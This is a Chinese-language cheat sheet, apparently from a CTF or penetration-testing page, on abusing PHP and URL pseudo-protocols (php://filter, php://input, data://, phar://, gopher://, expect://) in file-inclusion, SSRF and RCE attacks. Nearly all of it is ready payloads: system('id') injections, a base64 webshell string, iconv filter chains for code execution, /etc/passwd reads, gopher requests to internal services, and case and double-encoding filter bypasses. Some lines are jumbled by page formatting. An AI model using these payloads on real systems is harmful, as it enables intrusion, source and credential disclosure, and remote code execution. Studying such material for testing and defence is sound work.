糖果怪物
59.65M · 2026-03-05
| 协议 | 用途 | 示例 |
|---|---|---|
file:// | 读取本地文件 | |
php://filter | 读取PHP文件源码(绕过include执行) | php://filter/read=convert.base64-encode/resource=index.php |
php://input | 读取POST原始数据,配合文件包含执行代码 | ?file=php://input + POST: <?php system('id');?> |
data:// | 直接传入数据执行 | data://text/plain,<?php system('id');?> |
zip:// | 读取zip内文件 | zip:///tmp/a.zip#shell.php |
phar:// | 读取phar内文件,可触发反序列化 | phar:///tmp/a.phar/a.txt |
expect:// | 执行系统命令(需扩展) | expect://id |
dict:// | 探测端口/服务 | dict://127.0.0.1:6379/info |
gopher:// | 发送任意TCP数据(SSRF神器) | gopher://127.0.0.1:80/_GET / HTTP/1.1... |
http(s):// | 标准HTTP请求,常用于SSRF | http://内网IP/ |
ftp:// | FTP协议 | |
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php
php://filter/write=convert.base64-decode/resource=shell.php
利用 iconv 等 filter 链构造任意字符串,实现 RCE:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|.../resource=/dev/null
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
攻击内网服务,格式:gopher://host:port/_<URL编码的数据>
rn 编码为 %0d%0afile_exists() / is_file() / fopen() 等// 触发点示例
file_exists("phar:///upload/shell.gif");
php://filter/read=convert.base64-encode/resource=flag.php
data:%2f%2ftext/plain,<?php...?>
gopher://127.0.0.1:80/_%2547%2545%2554 # 双重URL编码 GET
DATA://text/plain,<?php...?>
Php://filter/...
FILE:///etc/passwd
php://filter/resource=php://filter/read=convert.base64-encode/resource=flag.php
| 漏洞场景 | 推荐协议 |
|---|---|
| 文件包含(LFI) | php://filter, php://input, data://, phar://, zip:// |
| SSRF | gopher://, dict://, file://, http:// |
| 任意文件读取 | file://, php://filter |
| RCE | php://input, data://, expect://, filter链 |
| 反序列化触发 | phar:// |
allow_url_include=On → 才能用 php://input、data://allow_url_fopen=On → 才能用远程 http://、ftp://file:// 本地文件无需任何配置include,只要有文件操作函数即可_ 后第一个字符会被吞掉,需补一个占位字符